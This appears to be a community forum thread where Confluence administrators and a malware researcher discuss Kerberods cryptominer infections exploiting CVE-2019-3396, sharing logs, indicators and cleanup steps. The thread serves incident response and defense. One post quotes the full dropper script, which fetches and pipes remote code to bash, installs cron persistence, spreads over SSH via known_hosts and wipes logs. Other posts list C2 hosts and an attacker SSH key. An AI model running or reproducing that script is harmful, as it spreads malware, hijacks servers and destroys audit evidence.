How come my confluence installation was hacked by Kerberods malware?

[ahmeij]

Our Confluence v6.9.1 install was hacked, relevant nginx logs below. The Kerberods malware was installed and running under the confluence user account. It installs a cron to re-download itself every 10 minutes.

We have updated to the latest point release  but I am unsure if the used bug is fixed.
 More information can be provided, I just don't know what would be helpful so please let me know.

185.193.125.146 - - [10/Apr/2019:12:13:14 +0200] "GET / HTTP/1.1" 302 0 "-" "python-requests/2.21.0"
185.193.125.146 - - [10/Apr/2019:12:13:15 +0200] "GET /login.action?os_destination=%2Findex.action&permissionViolation=true HTTP/1.1" 200 6753 "-" "python-requests/2.21.0"
185.193.125.146 - - [10/Apr/2019:12:13:16 +0200] "POST /rest/tinymce/1/macro/preview HTTP/1.1" 200 3970 "https://confluence.entdec.com/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
185.193.125.146 - - [10/Apr/2019:12:13:18 +0200] "POST /rest/tinymce/1/macro/preview HTTP/1.1" 200 3970 "https://confluence.entdec.com/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
185.193.125.146 - - [10/Apr/2019:12:14:06 +0200] "GET / HTTP/1.1" 302 0 "-" "python-requests/2.21.0"
185.193.125.146 - - [10/Apr/2019:12:14:06 +0200] "GET /login.action?os_destination=%2Findex.action&permissionViolation=true HTTP/1.1" 200 6755 "-" "python-requests/2.21.0"
185.193.125.146 - - [10/Apr/2019:12:14:07 +0200] "POST /rest/tinymce/1/macro/preview HTTP/1.1" 200 3971 "https://confluence.entdec.com/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
185.193.125.146 - - [10/Apr/2019:12:14:09 +0200] "POST /rest/tinymce/1/macro/preview HTTP/1.1" 200 3970 "https://confluence.entdec.com/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"

[Daniel Eads · Accepted solution]

Hey Andre,

What you've described is an active exploit that attacks the CVE-2019-3396 Widget Connector vulnerability from March 20th (see Confluence Security Advisory - 2019-03-20).

You mentioned upgrading to the latest point release, but I just want to be very explicit about what latest versions are mitigated. The last 6.9.x release was not a version that contained a fix. The latest releases are:

• 6.6.13 (6.6 is an Enterprise release)
• 6.12.4
• 6.13.4 (6.13 is an Enterprise release)
• 6.14.3
• 6.15.2

So first, knowing what version you upgraded to would be helpful (or double-check against the list).

Secondly, the LSD malware cleanup tool will be useful for removing Kerberods. It sounds like you have detection under control for Kerberods. I would recommend executing cleanup after upgrading Confluence to a patched version so there's no possibility of re-infection while you work on the upgrade.

Please let me know if you have more questions!

Cheers,
Daniel | Atlassian Support

[ahmeij]

Hi Daniel,

We've upgraded to 6.15.2 so we should be ok now. Thank you for the confirmation and the link to the CVE.

I'll check the LSD cleanup tool but I believe we've effectively removed the infection.

Thanks again!

Andre

[Daniel Eads]

As a follow-up, we're compiling some information on scanners that picked up the Kerberods package. If you feel comfortable sharing what detected this for you, that'd be helpful info for us. Thank you!

[ahmeij]

To be honest none of our scanners caught this, even after specifically updating clamav.

We detected a portscan initiated from the host which triggered an investigation. This particular malware has a dead giveaway which is a process taking all cpu, in our case 'kerberods' which sounds like a thing (kerebos), but really isn't.

Hope this helps someone.

For details on the package itself check xmxHzu5P on pastebin.

[Andrew Farren]

This seems to still be going... the lsd removal tool is not working on this latest version. The host is `.kerberod 530 root 15u IPv4 8204 0t0 TCP confluence2:47534->benzoin.org:65314 (ESTABLISHED)`

[unixfreaxjp]

Would you please kindly upload to me that ".kerberods" binary you just found? So I can reverse engineer their overall C2?
Please use this web interface to upload that binary securely: http://blog.malwaremustdie.org/sendsample.html

[Andrew Farren]

Very sorry but I delete it before I saw this message. However, I'm not 100% certain I got everything so will keep an eye out and if I see it again, I will certainly upload it...thanks for doing what you do!

edit: Actually, I created a backup before I upgraded confluence; I will boot that up and get you the binary.

[unixfreaxjp]

Thank you!  Much appreciate your hard effort. I'll make sure it worth.

[ahmeij]

I've sent khugepageds.zip with a very guessable password (password).

This was the file I found on my system running the kerberods malware.

Hope this helps

[unixfreaxjp]

I had received one ELF file (name: kerb) which I am currently reversing it (and it looks like a bot to me.. not the one we've seen before in this threat), and no khugepageds.zip sent yet Sir. I assume your upload process was incomplete somehow.

Would you mind to try again please? The interface should be working, since I receive many samples daily through it from everywhere. Thank you.

[ahmeij]

khugepageds.zip sent again, it claims complete.

Upload Complete

Upload Another?

[unixfreaxjp]

Hello, I just finished quick analyzed the kerb ELF file but no time to write full report.
Therefore carefully I am reporting the quick result in here, for precaution & defense matter.

Firstly the "kerb" is a bot, it looks coded from someone in China (baidu trace), this bot communicates to C2, executing command into your systems via "/bin/sh" -c or "execve" whatever is available.

It is having lua basis code trace ...

0x00557ad9 hit0_3 .usr/local/share/lua/5.1/?.lua;/usr/.
0x00557ae3 hit0_4 .share/lua/5.1/?.lua;/usr/local/shar.
0x00557af8 hit0_5 .usr/local/share/lua/5.1/?/init.lua;.
0x00557b07 hit0_6 ./lua/5.1/?/init.lua;/usr/local/lib/.
0x00557b1a hit0_7 .;/usr/local/lib/lua/5.1/?.lua;/usr/.
0x00557b24 hit0_8 .l/lib/lua/5.1/?.lua;/usr/local/lib/.
0x00557b37 hit0_9 .;/usr/local/lib/lua/5.1/?/init.lua;.
0x00557b46 hit0_10 ./lua/5.1/?/init.lua;./?.lua;./?/ini.
0x00557b77 hit0_13 ./usr/local/lib/lua/5.1/?.so;/usr/l.
0x00557b93 hit0_14 .;/usr/local/lib/lua/5.1/loadall.so;.

..and uses of Lua "curl_easy" library.

0x0149A70 LcURL Easy
0x0149A7B LcURL Easy object expected
0x0149A96 LcURL Easy (%p)

..and hard coded keys to make HTTPS communication to C2 possible.

-----BEGIN CERTIFICATE-----
MIIDhzCCAm+gAwIBAgIBADANBgkqhkiG9w0BAQUFADA7MQswCQYDVQQGEwJOTDER
MA8GA1UEChMIUG9sYXJTU0wxGTAXBgNVBAMTEFBvbGFyU1NMIFRlc3QgQ0EwHhcN
MTEwMjEyMTQ0NDAwWhcNMjEwMjEyMTQ0NDAwWjA7MQswCQYDVQQGEwJOTDERMA8G
A1UEChMIUG9sYXJTU0wxGTAXBgNVBAMTEFBvbGFyU1NMIFRlc3QgQ0EwggEiMA0G
CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDA3zf8F7vglp0/ht6WMn1EpRagzSHx
mdTs6st8GFgIlKXsm8WL3xoemTiZhx57wI053zhdcHgH057Zk+i5clHFzqMwUqny
50BwFMtEonILwuVA+T7lpg6z+exKY8C4KQB0nFc7qKUEkHHxvYPZP9al4jwqj+8n
YMPGn8u67GB9t+aEMr5P+1gmIgNb1LTV+/Xjli5wwOQuvfwu7uJBVcA0Ln0kcmnL
R7EUQIN9Z/SG9jGr8XmksrUuEvmEF/Bibyc+E1ixVA0hmnM3oTDPb5Lc9un8rNsu
KNF+AksjoBXyOGVkCeoMbo4bF6BxyLObyavpw/LPh5aPgAIynplYb6LVAgMBAAGj
gZUwgZIwDAYDVR0TBAUwAwEB/zAdBgNVHQ4EFgQUtFrkpbPe0lL2udWmlQ/rPrzH
/f8wYwYDVR0jBFwwWoAUtFrkpbPe0lL2udWmlQ/rPrzH/f+hP6Q9MDsxCzAJBgNV
BAYTAk5MMREwDwYDVQQKEwhQb2xhclNTTDEZMBcGA1UEAxMQUG9sYXJTU0wgVGVz
dCBDQYIBADANBgkqhkiG9w0BAQUFAAOCAQEAuP1U2ABUkIslsCfdlc2i94QHHYeJ
SsR4EdgHtdciUI5I62J6Mom+Y0dT/7a+8S6MVMCZP6C5NyNyXw1GWY/YR82XTJ8H
DBJiCTok5DbZ6SzaONBzdWHXwWwmi5vg1dxn7YxrM9d0IjxM27WNKs4sDQhZBQkF
pjmfs2cb4oPl4Y9T9meTx/lvdkRYEug61Jfn6cA+qHpyPYdTH+UshITnmp5/Ztkf
m/UTSLBNFNHesiTZeH31NcxYGdHSme9Nc/gfidRa0FLOCfWxRlFqAI47zG9jAQCZ
7Z2mCGDNMhjQc+BYcdnl0lPXjdDK6V0qCg1dVewhUBcW5gZKzV7e9+DpVA==
-----END CERTIFICATE-----

I suspect this bot is next version of previous one I reversed in here: https://imgur.com/a/8mFGk due to many similarities in how it was coded.

Nothing too fancy, but the intention is to mess with the pwned server so I think you should know about this ASAP.

// the sent traffic to the C2 is the attacker's infrastructure:

d.heheda.tk:443 (hard coded in the malware)

it happens that the d.heheda.tk is having fqdn
of benzoin.org in 198.204.231.250 (DataShak, US)
The C2 is CURRENTLY ALIVE! < Warning!

// digital certification used by attacker:

The sent traffic is in the TLS v1.2 encrypted under this attacker's made certification:

---- cert snip start ---
Handshake Protocol: Certificate
Certificate Length: 1374
Certificate (id-at-commonName=d.heheda.tk)
version: v3 (2)
serialNumber : 0x0391959ec679153960186df2c0768f78425e
signature (sha256WithRSAEncryption)
Algorithm Id: 1.2.840.113549.1.1.11 (sha256WithRSAEncryption)
rdnSequence: 3 items
(id-at-commonName=Let's Encrypt Authority X3,
id-at-organizationName=Let's Encrypt,
id-at-countryName=US )
Validity not before: utcTime: 19-04-22 01:13:26 (UTC)
Validity not after: utcTime: 19-07-21 01:13:26 (UTC)
issuer: rdnSequence (0) rdnSequence: 2 items
(id-at-commonName=DST Root CA X3,
id-at-organizationName=Digital Signature Trust Co.)
--- cert snip stop----

The bot will download the config file from the C2, cracking the malicious hxxps wasn't hard as long as you know the scheme that the malware is using and you can do anything we want in our server ;) , here's the re-producing result for the config URL, again, it fakes the image file:

Connecting to dd.heheda.tk (dd.heheda.tk)|198.204.231.250|:443
connected.
URL: hxxps://dd.heheda.tk/cURL/safe.png
HTTP request sent, awaiting response... 200 OK
Length: 160 [image/png]
Saving to: 'safe.png'
100%[=========>] 160 --.-KB/s in 0s
2019-05-04 00:47:43 (5.46 MB/s) - 'safe.png' saved [160/160]

[0x00000000 [Xadvc] 0% 2016 safe.png]> xc
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF comment
0x00000000 8d8c 73a9 e531 5b82 bdc8 defa caa2 031b ..s..1[.........
0x00000010 1134 59e7 e797 cf0a 0a88 77a5 8959 8664 .4Y.......w..Y.d
0x00000020 6934 df90 5ea4 3b2b f639 4ae8 e12a f824 i4..^.;+.9J..*.$
0x00000030 6c2d bd4e 41d4 8ffa 4573 aa48 f9ba e58d l-.NA...Es.H....
0x00000040 ea14 f6da d9ab 71b5 d2ef 3e87 4329 1f67 ......q...>.C).g
0x00000050 1ce7 2bd1 a0eb 85ba d270 66bb 0403 dea1 ..+......pf.....
0x00000060 5f9e fa8b 625b 8729 2042 4f70 c8d2 61db _...b[.) BOp..a.
0x00000070 3a30 2bff 9976 eacd f01c 9659 d8fc c412 :0+..v.....Y....
0x00000080 34e5 1481 d769 8794 b556 06e3 4d02 b685 4....i...V..M...
0x00000090 d0b3 7ae5 3da3 1040 1e38 8c7f 9409 1525 ..z.=..@.8.....%
0x000000a0 ffff ffff ffff ffff ffff ffff ffff ffff ................

The malware decrypter function will process this data, and if it matched to certain bot phrase condition, it can be a command execution.

I also found this "weird" configuration in JSON during the reversed C2 interaction:

C2 config:
{"Status": 0,
"TC": false,
"RD": true, 
"RA": true, 
"AD": false,
"CD": false,
"Question":[
{"name": "c.heheda.tk.", 
"type": 1}],
"Answer":[
{"name": "c.heheda.tk.",
"type": 1, 
"TTL": 300, 
"data": "198.204.231.250"
}]
}\

// bot snip evidence:

if ( !int bot_cmd_GREP_string("QUIT", var_len) )
break;
else
{ if ( int bot_cmd_GREP_string("CONTINUE", var_len) )
{
if ( int bot_cmd_GREP_string("UPGRADE", var_len) )
{
if ( int bot_cmd_GREP_string("ERROR", var_len) )
 :
 :

// remote code execution

export_environment("PATH"); // ":/bin:/usr/bin"
:
decoder2(&processed_data);
execve("/bin/sh -c, processed_data...
(the execution data is pushed to stack) 

// workdir is tmp dir for your IR forensics:

lock file is this file: "/var/tmp/.p" <== if box is infected, it will be there.
workdir file (to upgrade) is random with mask:/var/tmp/"%.*s/%.*sXXXXXX" (will gone)

// some persistence installation:

drops: /etc/init.d/sysconfig
chmod 755 /etc/init.d/sysconfig
update-rc.d sysconfig enable

(alternative) /etc/init.d/functions
(other persistence) /etc/crontab

// the malware used native DNS lookup, hardcoded:

0x41B1A5 mov edx, offset ____DNS_SERVERS ;
'1.1.1.1:53,
8.8.8.8,
208.67.222.222:5353,
208.67.222.222:443

// other drops:

/dev/wdt
/dev/misc/wdt

// the way it utilized curl easy library is something like this:

if (condition_are_good )
{
if ( flag <= 5 )
{
trap = cURL_easy_perform(__string_request__);
response = *(__response);
else {fprintf(trap);} // error on curl_easy_perform
}
: 

..and..

 :
else
{
if ( flag <= 5 )
_fprintf(init_trap); // error trapping on curl_easy_init
result = 0;
}
return result;

What data is taken?

During initial mode it grabs the uname, resolv, .etc/hosts so these can be expected sent promptly to the adversary, the others are depending on how adversary want to grab or hurt us more. The bottom line is, by the finding of this sample (thank you AJ), we all know that mining software is not the only purpose of attacker.

Last Notes:

There are many much more details, I will inform full report (with colors) when it is done,
but the above details is should be enough for quick handling. Thank you for sending the sample, hope this help you all. Feel free to send more sample if any, I will try do it one by one after work day. Cheers.

@unixfreaxjpof malwaremustdie.org

[unixfreaxjp]

{redacted}

[Andrew Farren]

Much thanks. I left it running overnight (although cut off communication to benzoin domain via iptables) and it looks like it did some work... there are new lock files in the /tmp directory. I copied and diff'd the binary, but it doesn't look like it changed. Maybe it is waiting for a reboot? I will dig around and see if I find anything. 

Interestingly, it looks like benzoin is an exploited network switch - perhaps with WRT. if you visit the domain and look at the source, it's pretty clear. I tried to contact the security listing in whois record, but no reply. 

[unixfreaxjp]

Hi AJ,

> Maybe it is waiting for a reboot? I will dig around and see if I find anything. 

Hello. Well they installed your box a bot. Means adversaries can execute anything. BUT, as long it doesn't gain root the bot will damage the user's space. The thing is please see permission and dates of each files dropped by the malware, By that you can examine which was coming first. For the precaution please use backup while examine the infected image.

If it hits your root, I suggest do not recover, save and restore your positive safe data, we don't know how deep the attacker executes command to damage your system authentication. Hope this helps.

[unixfreaxjp]

{redacted}

[unixfreaxjp]

The latest infrastructure of the adversary used for mining, and downloaders are as per below list, it will help you to contain (by blocking) the threat while cleaning it up:

////// Infrastructure of SystemTen,ORG TO BLOCK //////

i.ooxx.ooo. 300 IN A 45.63.0.102
1.z9ls.com. 600 IN CNAME 1.z9ls.com.cdn.dnsv1.com.
1.z9ls.com.cdn.dnsv1.com. 600 IN CNAME 1824153.sp.tencdns.net.
1824153.sp.tencdns.net. 180 IN A 211.91.160.238
systemten.org. 900 IN A 104.248.53.213
z9ls.com. 600 IN A 103.52.216.35

i.ooxx.ooo | 45.63.0.102 | AS20473 | 45.63.0.0/20 | vultr.com/Choopa, LLC, US
1.z9ls.com | 211.91.160.238 | AS4837 | 211.91.160.0/20 | CHINA169 UNICOM China169 Backbone, CN
systemten.org| 104.248.53.213 | AS14061 | 104.248.48.0/20 | DigitalOcean, LLC, US
z9ls.com | 103.52.216.35 | AS132203, CN Tencent Bldg, Kejizhongyi Av, CN

[Shrini Kulkarni]

Here's a few more IPs I saw scripting attacks coming from

47.90.213.21 | ASN 45102| Alibaba (US) Technology Co. San Mateo

116.62.232.226 | ASN37963| Hangzhou Alibaba Advertising Co.,Ltd. Beijing

Search your apache access logs for all POST calls and look at the input/output (/var/log/apache(2) or confluence install's logs folder)

Surprised (or not so surprised) to see Alibaba owned IPs (probably their cloud infrastructure) being used at wanton.

[unixfreaxjp]

Hello, this threat is infecting many Linux / VPS servers in the internet now. There are many incidents reported about this hack. Basically the actors are from China region, they aim vulnerable servers, gain access and drop installer script . or , upload a packed ELF (actually is a Go compiled ELF) to drop embedded monero miner to the victim's server, and using it for scanning related segment for same and other (redis) vulnerability too.
You can see the analysis for the sample sent to me in the below URL, contains artifacts for your infected machines or for blocking purpose. The report is using open source binary analysis tool radare2 for you to confirm the details by yourself.
https://imgur.com/a/H7YuWuj

Greets from malwaremustdie.org

[Sebastian Saip]

We were also affected by this kerberods malware.

How I got rid of it:

which kerberods

and then

rm /usr/sbin/kerberods

as well as cleaning up the created cron job 

[zinczukw]

I caught this on my server when the CPU usage spiked. Upon getting access to the box I examined the history which listed commands as.

(curl -fsSL http://166.62.38.167/plus/cx.2 ||wget -q -O- http://166.62.38.167/plus/cx.2 ||python -c 'import urllib2 as fbi;import urllib2;proxy = urllib2.ProxyHandler({});opener = urllib2.build_opener(proxy);urllib2.install_opener(opener);print fbi.urlopen("http://166.62.38.167/plus/cx.2").read()') | /bin/bash

This in turn led me to following a bunch of paste bin links that in turn would link to more curl commands until I hit this script : https://pastebin.com/raw/Zk7Jv9j2

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin

mkdir -p /tmp
chmod 1777 /tmp

echo "*/15 * * * * (curl -fsSL https://pastebin.com/raw/0Sxacvsh||wget -q -O- https://pastebin.com/raw/0Sxacvsh)|sh" | crontab -

ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -9
ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "/tmp/devtool"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "systemctI"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "plfsbce"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "luyybce"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "6Tx3Wq"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "dblaunchs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "/boot/vmlinuz"|awk '{print $2}'|xargs kill -9
netstat -anp|grep 119.9.106.27|awk '{print $7}'|sed -e "s/\/.*//g"|xargs kill -9
netstat -anp|grep 104.130.210.206|awk '{print $7}'|sed -e "s/\/.*//g"|xargs kill -9

cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
export PATH=$PATH:$(pwd)
if [ ! -f "/tmp/.XIMunix" ] || [ ! -f "/proc/$(cat /tmp/.XIMunix)/io" ]; then
    chattr -i kerberods
    rm -rf kerberods
    ARCH=$(uname -m)
    if [ ${ARCH}x = "x86_64x" ]; then
        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL http://1.z9ls.com/t6/701/1555396475x2918527158.jpg -o kerberods||wget --timeout=30 --tries=3 -q http://1.z9ls.com/t6/701/1555396475x2918527158.jpg -O kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://i.ooxx.ooo/2019/04/15/b39d9cbe6c63d7a621469bf13f3ea466.jpg -o kerberods||wget --timeout=30 --tries=3 -q https://i.ooxx.ooo/2019/04/15/b39d9cbe6c63d7a621469bf13f3ea466.jpg -O kerberods) && chmod +x kerberods
    elif [ ${ARCH}x = "i686x" ]; then
        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL http://1.z9ls.com/t6/701/1555396530x2918527158.jpg -o kerberods||wget --timeout=30 --tries=3 -q http://1.z9ls.com/t6/701/1555396530x2918527158.jpg -O kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://i.ooxx.ooo/2019/04/15/d8dfa3690186ca8ab80cb1028b01a770.jpg -o kerberods||wget --timeout=30 --tries=3 -q https://i.ooxx.ooo/2019/04/15/d8dfa3690186ca8ab80cb1028b01a770.jpg -O kerberods) && chmod +x kerberods
    else
        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL http://1.z9ls.com/t6/701/1555396530x2918527158.jpg -o kerberods||wget --timeout=30 --tries=3 -q http://1.z9ls.com/t6/701/1555396530x2918527158.jpg -O kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://i.ooxx.ooo/2019/04/15/d8dfa3690186ca8ab80cb1028b01a770.jpg -o kerberods||wget --timeout=30 --tries=3 -q https://i.ooxx.ooo/2019/04/15/d8dfa3690186ca8ab80cb1028b01a770.jpg -O kerberods) && chmod +x kerberods
    fi
        $(pwd)/kerberods || /usr/bin/kerberods || /usr/libexec/kerberods || /usr/local/bin/kerberods || kerberods || ./kerberods || /tmp/kerberods
fi

if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/0Sxacvsh||wget -q -O- https://pastebin.com/raw/0Sxacvsh)|sh >/dev/null 2>&1 &' & done
fi

echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
#

Looking at the contents I found the various kerberods executable files and cleaned up after itself. Minimal damage looks like but heavy on the CPU noise.

[tony diller]

Had this happen to me as well. I think I got all the kerbords files but I found that there was a crontab file created that ran this. I remove it and it gets put back in place as if there is another cron job that runs to make sure it is in place. for now I have cron turned off.  Any ideas?

[Shrini Kulkarni]

^ use the link pasted here for LSD malware cleanup and download busybox (utility to provide POSIX functions from running directory instead of /bin or /usr/bin)

Then whatever commands like top, `ps -ef`, `kill -9`, etc prepend busybox and run those (else the system is infected, some of the commandline tool output might hide the malicious processes - the busybox ensures a pure posix call is made)

if CPU is pegged at 100% one of these processes khugepageds or kerberods (and some other programs as well) show up as consuming cycles

There are a bunch of files /var/cron/root etc that need to be deleted with the cron daemon turned off - Even if one or two of the files are not cleaned, they will reinfect the machine.

I would immediately back up the server and try and commission a new one to be safe. The malwaremustdie link on this page below has full list of debug hidden in the imgur image.

FWIW just merely running that shell script isn't enough - people are still scrambling to find full signature of the LSD (some are distro specific malware)

[Wolfgang Römer]

I had the same effect, with the reoccuring cron jobs. At our machine the hacker had put a malicous version of console-kit-daemon in place. This daemon recreated the malicous cron jobs by creating the necessary files inside /var/spool/cron.

[Ian Cox]

We had this also. One thing I don't understand is how they gain root access to add the cron job. The confluence service runs as the confluence user. Clearly I am mis-understanding something. Apologies if its obvious.

[Andrew Farren]

They don't get root -- they create the cron job under the confluence user. crontab -l -u confluence

[Ian Cox]

Ah, ok. I think I was misreading. Thanks. Phew.

[Andrew Farren]

NP; good luck!

[Andrew Farren]

In case anyone else is coming across this, as of Apr 29 2019, the latest vectors seem to be getting into these locations:

/etc/crontab:18:* * * * * root /tmp/.kerberods
/etc/rc3.d/S99local:9:/tmp/.kerberods
/etc/rc4.d/S99local:9:/tmp/.kerberods
/etc/rc2.d/S99local:9:/tmp/.kerberods
/etc/rc.d/rc3.d/S99local:9:/tmp/.kerberods
/etc/rc.d/rc4.d/S99local:9:/tmp/.kerberods
/etc/rc.d/rc2.d/S99local:9:/tmp/.kerberods
/etc/rc.d/init.d/functions:817:/tmp/.kerberods
/etc/rc.d/init.d/sysconfig:13: start-stop-daemon --start --background --exec /tmp/.kerberods
/etc/rc.d/init.d/sysconfig:16: start-stop-daemon --start --background --exec /tmp/.kerberods
/etc/rc.d/rc5.d/S99local:9:/tmp/.kerberods
/etc/rc.d/rc.local:9:/tmp/.kerberods
/etc/init.d/functions:817:/tmp/.kerberods
/etc/init.d/sysconfig:13: start-stop-daemon --start --background --exec /tmp/.kerberods
/etc/init.d/sysconfig:16: start-stop-daemon --start --background --exec /tmp/.kerberods
/etc/rc5.d/S99local:9:/tmp/.kerberods
/etc/rc.local:9:/tmp/.kerberods

When you kill the process, it immediately spawns a sleep 60 then relaunches. If you open 2 windows, run busybox top in one, then in the other kill {.kerberods}; watch for the sleep 60 and kill that. You might have to kill the sleep 60 multiple times, but eventually it will die and kerberods will not respawn. You can then delete the files (grep -Rn "kerberods" /locations) to look. 

Check other crontabs 

busybox grep -oE '^[^:]+' /etc/passwd | xargs -I{} crontab -l -u{} 

[unixfreaxjp]

The new campaign of the SystemTen (adversary behind this threat) has been spotted, please block their new infrastructure that we compiled in here: https://old.reddit.com/r/LinuxMalware/comments/bfaea2/fun_in_dissecting_lsd_packer_elf_golang_miner/elpthdq/

thanks, hope this helps.

[unixfreaxjp]

It seems that confluence RCE (remote command execution) vulnerability's PoC is published in details in several analysis in the internet, found one like this:
https://ia801509.us.archive.org/3/items/comment_main/CVE-2019-3396.html
My confluence received these attacks and has just updated to latest one to prevent bad code injection

[hongjiangli]

hi, all

     My confluence instance is also hacked. But kerberods is found here: /dev/shm/.kerberods, do not know where it comes from.

I just killed .kerberods from processes and confluence works well now.

Maybe you guys know the reasons and risks.

[duke-nguyen]

Hi guys,

I found the attacker also wrote the ssh key to the folder `/home/confluence/.ssh/authorized_keys`, so they can ssh to your system. Please review and remove the unknown key.

In my system, the key looks like:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZnO+F/CKFgcs1jRmWcN1bzitmSrUuvKS6OM79ywuoETUVXnp1IFxfwMlc1Ewlkd5hVPk0bE6/mX4hH2wYmO2w/TKkyKD50/v3J/rcAcsrQ3uu9opXpjFtXxm4GuXT0tt1ITf5kwevh0Xj1oqiV/2pXn9mm6uTfXafvCRM+3nWj74U0Gh+U4gyc2n3dVqgZHOZWhV6fFp5MJ9HM1bTTsREbVbvIjG2B0msAQxqRTuaLpARF3YbSu3yL7PDXjLnil5s7GihHTZlngqlu9BrvwT6LuJ0v18pdaNiSTtmw8tY+XMIuQ4H8ZuwLuBzk9XW17LVGfjrz8i5pmvruSgHX7xv FBI@USA.GOV

Hope that help.

[Joakim Kennedy]

This is an ongoing campaign by the Rocke group: https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang

[John Norman]

A couple of things:

1. I had a lengthy conversation with Atlassian support regarding  CVE-2019-3396 Widget Connector vulnerability and was told that if there are no public pages (i.e., all access requires auth) then one is not exposed. However, the hack still works and one should upgrade. Anyway, this is a miscommunication by Atlassian.
2. Now, if access to any pages does require auth, how does this possibly happen? It seems that some endpoints do not require auth. For instance, try this on with your browser when you're not logged in and using an unpatched Confluence (may even happen with a patched Confluence):
   
       /pages/resumedraft.action
   
   The result is a 403 page but it has UI elements (site search), but worse,our organization icon is exposed. This is a security gaffe. Sure this should be a 403 and not a 404. Not authorized? --> you get nothing.
   

Studying our logs, it also seems that some HTTP POSTs did not require auth.

[Daniel Eads]

Hey John,

Thanks for raising these concerns. I do see an existing suggestion on jira.atlassian.com about changing the status codes on some returns: CONFSERVER-55343 - feel free to add a comment to the ticket with the additional context here since it's not a 1:1 match with what you've brought up.

For most customers, getting a UI-rendered error page is something more user-friendly than simply returning a raw 403/404. I would note that the base URL / login pages for Confluence also render the header and custom logo if you've uploaded one. If exposing your organization's logo is a concern, I would recommend going down the route of putting your Confluence server behind a firewall so you must be on a VPN to get access externally.

Cheers,
Daniel | Atlassian Support

[John Norman]

I'll add a note to https://jira.atlassian.com/browse/CONFSERVER-55343?_ga=2.8839228.800296403.1555421190-1414102218.1548940346

As to revealing a logo: For a forbidden resource, putting a site behind a firewall or VPN is complete non-starter. If there is a resource on the Internet and it returns a 403, there should absolutely be no reveal at all about the resource being accessed. That is plain and simple Security 101: Don't give the attacker more information.

For a 404: That could reveal a logo.